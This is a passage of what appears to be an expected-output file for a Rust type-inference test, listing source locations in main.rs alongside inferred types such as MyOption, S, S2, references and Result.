| & | -| main.rs:726:13:726:16 | self | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:726:22:726:26 | value | | main.rs:721:19:721:19 | S | -| main.rs:732:16:732:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:732:16:732:24 | SelfParam | &T | main.rs:715:5:719:5 | MyOption | -| main.rs:732:16:732:24 | SelfParam | &T.T | main.rs:730:10:730:10 | T | -| main.rs:732:27:732:31 | value | | main.rs:730:10:730:10 | T | -| main.rs:736:26:738:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:736:26:738:9 | { ... } | T | main.rs:735:10:735:10 | T | -| main.rs:737:13:737:30 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:737:13:737:30 | ...::MyNone(...) | T | main.rs:735:10:735:10 | T | -| main.rs:742:20:742:23 | SelfParam | | main.rs:715:5:719:5 | MyOption | -| main.rs:742:20:742:23 | SelfParam | T | main.rs:715:5:719:5 | MyOption | -| main.rs:742:20:742:23 | SelfParam | T.T | main.rs:741:10:741:10 | T | -| main.rs:742:41:747:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:742:41:747:9 | { ... } | T | main.rs:741:10:741:10 | T | -| main.rs:743:13:746:13 | match self { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:743:13:746:13 | match self { ... } | T | main.rs:741:10:741:10 | T | -| main.rs:743:19:743:22 | self | | main.rs:715:5:719:5 | MyOption | -| main.rs:743:19:743:22 | self | T | main.rs:715:5:719:5 | MyOption | -| main.rs:743:19:743:22 | self | T.T | main.rs:741:10:741:10 | T | -| main.rs:744:39:744:56 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:744:39:744:56 | ...::MyNone(...) | T | main.rs:741:10:741:10 | T | -| main.rs:745:34:745:34 | x | | main.rs:715:5:719:5 | MyOption | -| main.rs:745:34:745:34 | x | T | main.rs:741:10:741:10 | T | -| main.rs:745:40:745:40 | x | | main.rs:715:5:719:5 | MyOption | -| main.rs:745:40:745:40 | x | T | main.rs:741:10:741:10 | T | -| main.rs:754:13:754:14 | x1 | | main.rs:715:5:719:5 | MyOption | -| main.rs:754:18:754:37 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:755:26:755:27 | x1 | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:13:757:18 | mut x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:13:757:18 | mut x2 | T | main.rs:750:5:751:13 | S | -| main.rs:757:22:757:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:22:757:36 | ...::new(...) | T | main.rs:750:5:751:13 | S | -| main.rs:758:9:758:10 | x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:758:9:758:10 | x2 | T | main.rs:750:5:751:13 | S | -| main.rs:758:16:758:16 | S | | main.rs:750:5:751:13 | S | -| main.rs:759:26:759:27 | x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:759:26:759:27 | x2 | T | main.rs:750:5:751:13 | S | -| main.rs:761:13:761:18 | mut x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:761:22:761:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:762:9:762:10 | x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:762:21:762:21 | S | | main.rs:750:5:751:13 | S | -| main.rs:763:26:763:27 | x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:13:765:18 | mut x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:13:765:18 | mut x4 | T | main.rs:750:5:751:13 | S | -| main.rs:765:22:765:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:22:765:36 | ...::new(...) | T | main.rs:750:5:751:13 | S | -| main.rs:766:23:766:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:766:23:766:29 | &mut x4 | &T | main.rs:715:5:719:5 | MyOption | -| main.rs:766:23:766:29 | &mut x4 | &T.T | main.rs:750:5:751:13 | S | -| main.rs:766:28:766:29 | x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:766:28:766:29 | x4 | T | main.rs:750:5:751:13 | S | -| main.rs:766:32:766:32 | S | | main.rs:750:5:751:13 | S | -| main.rs:767:26:767:27 | x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:767:26:767:27 | x4 | T | main.rs:750:5:751:13 | S | -| main.rs:769:13:769:14 | x5 | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:13:769:14 | x5 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:769:13:769:14 | x5 | T.T | main.rs:750:5:751:13 | S | -| main.rs:769:18:769:58 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:18:769:58 | ...::MySome(...) | T | main.rs:715:5:719:5 | MyOption | -| main.rs:769:18:769:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | -| main.rs:769:35:769:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:35:769:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:770:26:770:27 | x5 | | main.rs:715:5:719:5 | MyOption | -| main.rs:770:26:770:27 | x5 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:770:26:770:27 | x5 | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:13:772:14 | x6 | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:13:772:14 | x6 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:772:13:772:14 | x6 | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:18:772:58 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:18:772:58 | ...::MySome(...) | T | main.rs:715:5:719:5 | MyOption | -| main.rs:772:18:772:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:35:772:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:35:772:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:773:26:773:61 | ...::flatten(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:773:26:773:61 | ...::flatten(...) | T | main.rs:750:5:751:13 | S | -| main.rs:773:59:773:60 | x6 | | main.rs:715:5:719:5 | MyOption | -| main.rs:773:59:773:60 | x6 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:773:59:773:60 | x6 | T.T | main.rs:750:5:751:13 | S | -| main.rs:775:13:775:19 | from_if | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:13:775:19 | from_if | T | main.rs:750:5:751:13 | S | -| main.rs:775:23:779:9 | if ... {...} else {...} | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:23:779:9 | if ... {...} else {...} | T | main.rs:750:5:751:13 | S | -| main.rs:775:36:777:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:36:777:9 | { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:776:13:776:30 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:776:13:776:30 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:777:16:779:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:777:16:779:9 | { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:778:13:778:31 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:778:13:778:31 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:778:30:778:30 | S | | main.rs:750:5:751:13 | S | -| main.rs:780:26:780:32 | from_if | | main.rs:715:5:719:5 | MyOption | -| main.rs:780:26:780:32 | from_if | T | main.rs:750:5:751:13 | S | -| main.rs:782:13:782:22 | from_match | | main.rs:715:5:719:5 | MyOption | -| main.rs:782:13:782:22 | from_match | T | main.rs:750:5:751:13 | S | -| main.rs:782:26:785:9 | match ... { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:782:26:785:9 | match ... { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:783:21:783:38 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:783:21:783:38 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:784:22:784:40 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:784:22:784:40 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:784:39:784:39 | S | | main.rs:750:5:751:13 | S | -| main.rs:786:26:786:35 | from_match | | main.rs:715:5:719:5 | MyOption | -| main.rs:786:26:786:35 | from_match | T | main.rs:750:5:751:13 | S | -| main.rs:788:13:788:21 | from_loop | | main.rs:715:5:719:5 | MyOption | -| main.rs:788:13:788:21 | from_loop | T | main.rs:750:5:751:13 | S | -| main.rs:788:25:793:9 | loop { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:788:25:793:9 | loop { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:790:23:790:40 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:790:23:790:40 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:792:19:792:37 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:792:19:792:37 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:792:36:792:36 | S | | main.rs:750:5:751:13 | S | -| main.rs:794:26:794:34 | from_loop | | main.rs:715:5:719:5 | MyOption | -| main.rs:794:26:794:34 | from_loop | T | main.rs:750:5:751:13 | S | -| main.rs:807:15:807:18 | SelfParam | | main.rs:800:5:801:19 | S | -| main.rs:807:15:807:18 | SelfParam | T | main.rs:806:10:806:10 | T | -| main.rs:807:26:809:9 | { ... } | | main.rs:806:10:806:10 | T | -| main.rs:808:13:808:16 | self | | main.rs:800:5:801:19 | S | -| main.rs:808:13:808:16 | self | T | main.rs:806:10:806:10 | T | -| main.rs:808:13:808:18 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:811:15:811:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:811:15:811:19 | SelfParam | &T | main.rs:800:5:801:19 | S | -| main.rs:811:15:811:19 | SelfParam | &T.T | main.rs:806:10:806:10 | T | -| main.rs:811:28:813:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:811:28:813:9 | { ... } | &T | main.rs:806:10:806:10 | T | -| main.rs:812:13:812:19 | &... | | file://:0:0:0:0 | & | -| main.rs:812:13:812:19 | &... | &T | main.rs:806:10:806:10 | T | -| main.rs:812:14:812:17 | self | | file://:0:0:0:0 | & | -| main.rs:812:14:812:17 | self | &T | main.rs:800:5:801:19 | S | -| main.rs:812:14:812:17 | self | &T.T | main.rs:806:10:806:10 | T | -| main.rs:812:14:812:19 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:815:15:815:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:815:15:815:25 | SelfParam | &T | main.rs:800:5:801:19 | S | -| main.rs:815:15:815:25 | SelfParam | &T.T | main.rs:806:10:806:10 | T | -| main.rs:815:34:817:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:815:34:817:9 | { ... } | &T | main.rs:806:10:806:10 | T | -| main.rs:816:13:816:19 | &... | | file://:0:0:0:0 | & | -| main.rs:816:13:816:19 | &... | &T | main.rs:806:10:806:10 | T | -| main.rs:816:14:816:17 | self | | file://:0:0:0:0 | & | -| main.rs:816:14:816:17 | self | &T | main.rs:800:5:801:19 | S | -| main.rs:816:14:816:17 | self | &T.T | main.rs:806:10:806:10 | T | -| main.rs:816:14:816:19 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:821:13:821:14 | x1 | | main.rs:800:5:801:19 | S | -| main.rs:821:13:821:14 | x1 | T | main.rs:803:5:804:14 | S2 | -| main.rs:821:18:821:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:821:18:821:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:821:20:821:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:822:26:822:27 | x1 | | main.rs:800:5:801:19 | S | -| main.rs:822:26:822:27 | x1 | T | main.rs:803:5:804:14 | S2 | -| main.rs:822:26:822:32 | x1.m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:824:13:824:14 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:824:13:824:14 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:824:18:824:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:824:18:824:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:824:20:824:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:826:26:826:27 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:826:26:826:27 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:826:26:826:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:826:26:826:32 | x2.m2() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:827:26:827:27 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:827:26:827:27 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:827:26:827:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:827:26:827:32 | x2.m3() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:829:13:829:14 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:829:13:829:14 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:829:18:829:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:829:18:829:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:829:20:829:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:831:26:831:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:831:26:831:41 | ...::m2(...) | &T | main.rs:803:5:804:14 | S2 | -| main.rs:831:38:831:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:831:38:831:40 | &x3 | &T | main.rs:800:5:801:19 | S | -| main.rs:831:38:831:40 | &x3 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:831:39:831:40 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:831:39:831:40 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:832:26:832:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:832:26:832:41 | ...::m3(...) | &T | main.rs:803:5:804:14 | S2 | -| main.rs:832:38:832:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:832:38:832:40 | &x3 | &T | main.rs:800:5:801:19 | S | -| main.rs:832:38:832:40 | &x3 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:832:39:832:40 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:832:39:832:40 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:834:13:834:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:834:13:834:14 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:834:13:834:14 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:834:18:834:23 | &... | | file://:0:0:0:0 | & | -| main.rs:834:18:834:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:834:18:834:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:834:19:834:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:834:19:834:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:834:21:834:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:836:26:836:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:836:26:836:27 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:836:26:836:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:836:26:836:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:836:26:836:32 | x4.m2() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:837:26:837:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:837:26:837:27 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:837:26:837:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:837:26:837:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:837:26:837:32 | x4.m3() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:839:13:839:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:839:13:839:14 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:839:13:839:14 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:839:18:839:23 | &... | | file://:0:0:0:0 | & | -| main.rs:839:18:839:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:839:18:839:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:839:19:839:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:839:19:839:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:839:21:839:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:841:26:841:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:841:26:841:27 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:841:26:841:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:841:26:841:32 | x5.m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:842:26:842:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:842:26:842:27 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:842:26:842:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:842:26:842:29 | x5.0 | | main.rs:803:5:804:14 | S2 | -| main.rs:844:13:844:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:844:13:844:14 | x6 | &T | main.rs:800:5:801:19 | S | -| main.rs:844:13:844:14 | x6 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:844:18:844:23 | &... | | file://:0:0:0:0 | & | -| main.rs:844:18:844:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:844:18:844:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:844:19:844:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:844:19:844:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:844:21:844:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:846:26:846:30 | (...) | | main.rs:800:5:801:19 | S | -| main.rs:846:26:846:30 | (...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:846:26:846:35 | ... .m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:846:27:846:29 | * ... | | main.rs:800:5:801:19 | S | -| main.rs:846:27:846:29 | * ... | T | main.rs:803:5:804:14 | S2 | -| main.rs:846:28:846:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:846:28:846:29 | x6 | &T | main.rs:800:5:801:19 | S | -| main.rs:846:28:846:29 | x6 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:853:16:853:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:853:16:853:20 | SelfParam | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:856:16:856:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:856:16:856:20 | SelfParam | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:856:32:858:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:856:32:858:9 | { ... } | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:857:13:857:16 | self | | file://:0:0:0:0 | & | -| main.rs:857:13:857:16 | self | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:857:13:857:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:857:13:857:22 | self.foo() | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:865:16:865:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:865:16:865:20 | SelfParam | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:865:36:867:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:865:36:867:9 | { ... } | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:866:13:866:16 | self | | file://:0:0:0:0 | & | -| main.rs:866:13:866:16 | self | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:871:13:871:13 | x | | main.rs:861:5:861:20 | MyStruct | -| main.rs:871:17:871:24 | MyStruct | | main.rs:861:5:861:20 | MyStruct | -| main.rs:872:9:872:9 | x | | main.rs:861:5:861:20 | MyStruct | -| main.rs:872:9:872:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:872:9:872:15 | x.bar() | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:882:16:882:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:882:16:882:20 | SelfParam | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:882:16:882:20 | SelfParam | &T.T | main.rs:881:10:881:10 | T | -| main.rs:882:32:884:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:882:32:884:9 | { ... } | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:882:32:884:9 | { ... } | &T.T | main.rs:881:10:881:10 | T | -| main.rs:883:13:883:16 | self | | file://:0:0:0:0 | & | -| main.rs:883:13:883:16 | self | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:883:13:883:16 | self | &T.T | main.rs:881:10:881:10 | T | -| main.rs:888:13:888:13 | x | | main.rs:879:5:879:26 | MyStruct | -| main.rs:888:13:888:13 | x | T | main.rs:877:5:877:13 | S | -| main.rs:888:17:888:27 | MyStruct(...) | | main.rs:879:5:879:26 | MyStruct | -| main.rs:888:17:888:27 | MyStruct(...) | T | main.rs:877:5:877:13 | S | -| main.rs:888:26:888:26 | S | | main.rs:877:5:877:13 | S | -| main.rs:889:9:889:9 | x | | main.rs:879:5:879:26 | MyStruct | -| main.rs:889:9:889:9 | x | T | main.rs:877:5:877:13 | S | -| main.rs:889:9:889:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:889:9:889:15 | x.foo() | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:889:9:889:15 | x.foo() | &T.T | main.rs:877:5:877:13 | S | -| main.rs:897:15:897:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:897:15:897:19 | SelfParam | &T | main.rs:894:5:894:13 | S | -| main.rs:897:31:899:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:897:31:899:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:898:13:898:19 | &... | | file://:0:0:0:0 | & | -| main.rs:898:13:898:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:898:14:898:19 | &... | | file://:0:0:0:0 | & | -| main.rs:898:14:898:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:898:15:898:19 | &self | | file://:0:0:0:0 | & | -| main.rs:898:15:898:19 | &self | &T | main.rs:894:5:894:13 | S | -| main.rs:898:16:898:19 | self | | file://:0:0:0:0 | & | -| main.rs:898:16:898:19 | self | &T | main.rs:894:5:894:13 | S | -| main.rs:901:15:901:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:901:15:901:25 | SelfParam | &T | main.rs:894:5:894:13 | S | -| main.rs:901:37:903:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:901:37:903:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:902:13:902:19 | &... | | file://:0:0:0:0 | & | -| main.rs:902:13:902:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:902:14:902:19 | &... | | file://:0:0:0:0 | & | -| main.rs:902:14:902:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:902:15:902:19 | &self | | file://:0:0:0:0 | & | -| main.rs:902:15:902:19 | &self | &T | main.rs:894:5:894:13 | S | -| main.rs:902:16:902:19 | self | | file://:0:0:0:0 | & | -| main.rs:902:16:902:19 | self | &T | main.rs:894:5:894:13 | S | -| main.rs:905:15:905:15 | x | | file://:0:0:0:0 | & | -| main.rs:905:15:905:15 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:905:34:907:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:905:34:907:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:906:13:906:13 | x | | file://:0:0:0:0 | & | -| main.rs:906:13:906:13 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:909:15:909:15 | x | | file://:0:0:0:0 | & | -| main.rs:909:15:909:15 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:909:34:911:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:909:34:911:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:910:13:910:16 | &... | | file://:0:0:0:0 | & | -| main.rs:910:13:910:16 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:910:14:910:16 | &... | | file://:0:0:0:0 | & | -| main.rs:910:14:910:16 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:910:15:910:16 | &x | | file://:0:0:0:0 | & | -| main.rs:910:15:910:16 | &x | &T | main.rs:894:5:894:13 | S | -| main.rs:910:16:910:16 | x | | file://:0:0:0:0 | & | -| main.rs:910:16:910:16 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:915:13:915:13 | x | | main.rs:894:5:894:13 | S | -| main.rs:915:17:915:20 | S {...} | | main.rs:894:5:894:13 | S | -| main.rs:916:9:916:9 | x | | main.rs:894:5:894:13 | S | -| main.rs:916:9:916:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:916:9:916:14 | x.f1() | &T | main.rs:894:5:894:13 | S | -| main.rs:917:9:917:9 | x | | main.rs:894:5:894:13 | S | -| main.rs:917:9:917:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:917:9:917:14 | x.f2() | &T | main.rs:894:5:894:13 | S | -| main.rs:918:9:918:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:918:9:918:17 | ...::f3(...) | &T | main.rs:894:5:894:13 | S | -| main.rs:918:15:918:16 | &x | | file://:0:0:0:0 | & | -| main.rs:918:15:918:16 | &x | &T | main.rs:894:5:894:13 | S | -| main.rs:918:16:918:16 | x | | main.rs:894:5:894:13 | S | -| main.rs:932:43:935:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:932:43:935:5 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:932:43:935:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:933:13:933:13 | x | | main.rs:925:5:926:14 | S1 | -| main.rs:933:17:933:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:933:17:933:30 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:933:17:933:31 | TryExpr | | main.rs:925:5:926:14 | S1 | -| main.rs:933:28:933:29 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:934:9:934:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:934:9:934:22 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:934:9:934:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:934:20:934:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:938:46:942:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:938:46:942:5 | { ... } | E | main.rs:928:5:929:14 | S2 | -| main.rs:938:46:942:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:13:939:13 | x | | file://:0:0:0:0 | Result | -| main.rs:939:13:939:13 | x | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:17:939:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:939:17:939:30 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:28:939:29 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:940:13:940:13 | y | | main.rs:925:5:926:14 | S1 | -| main.rs:940:17:940:17 | x | | file://:0:0:0:0 | Result | -| main.rs:940:17:940:17 | x | T | main.rs:925:5:926:14 | S1 | -| main.rs:940:17:940:18 | TryExpr | | main.rs:925:5:926:14 | S1 | -| main.rs:941:9:941:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:941:9:941:22 | ...::Ok(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:941:9:941:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:941:20:941:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:945:40:950:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:945:40:950:5 | { ... } | E | main.rs:928:5:929:14 | S2 | -| main.rs:945:40:950:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:946:13:946:13 | x | | file://:0:0:0:0 | Result | -| main.rs:946:13:946:13 | x | T | file://:0:0:0:0 | Result | -| main.rs:946:13:946:13 | x | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:946:17:946:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:946:17:946:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | -| main.rs:946:17:946:42 | ...::Ok(...) | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:946:28:946:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:946:28:946:41 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:946:39:946:40 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:948:17:948:17 | x | | file://:0:0:0:0 | Result | -| main.rs:948:17:948:17 | x | T | file://:0:0:0:0 | Result | -| main.rs:948:17:948:17 | x | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:948:17:948:18 | TryExpr | | file://:0:0:0:0 | Result | -| main.rs:948:17:948:18 | TryExpr | T | main.rs:925:5:926:14 | S1 | -| 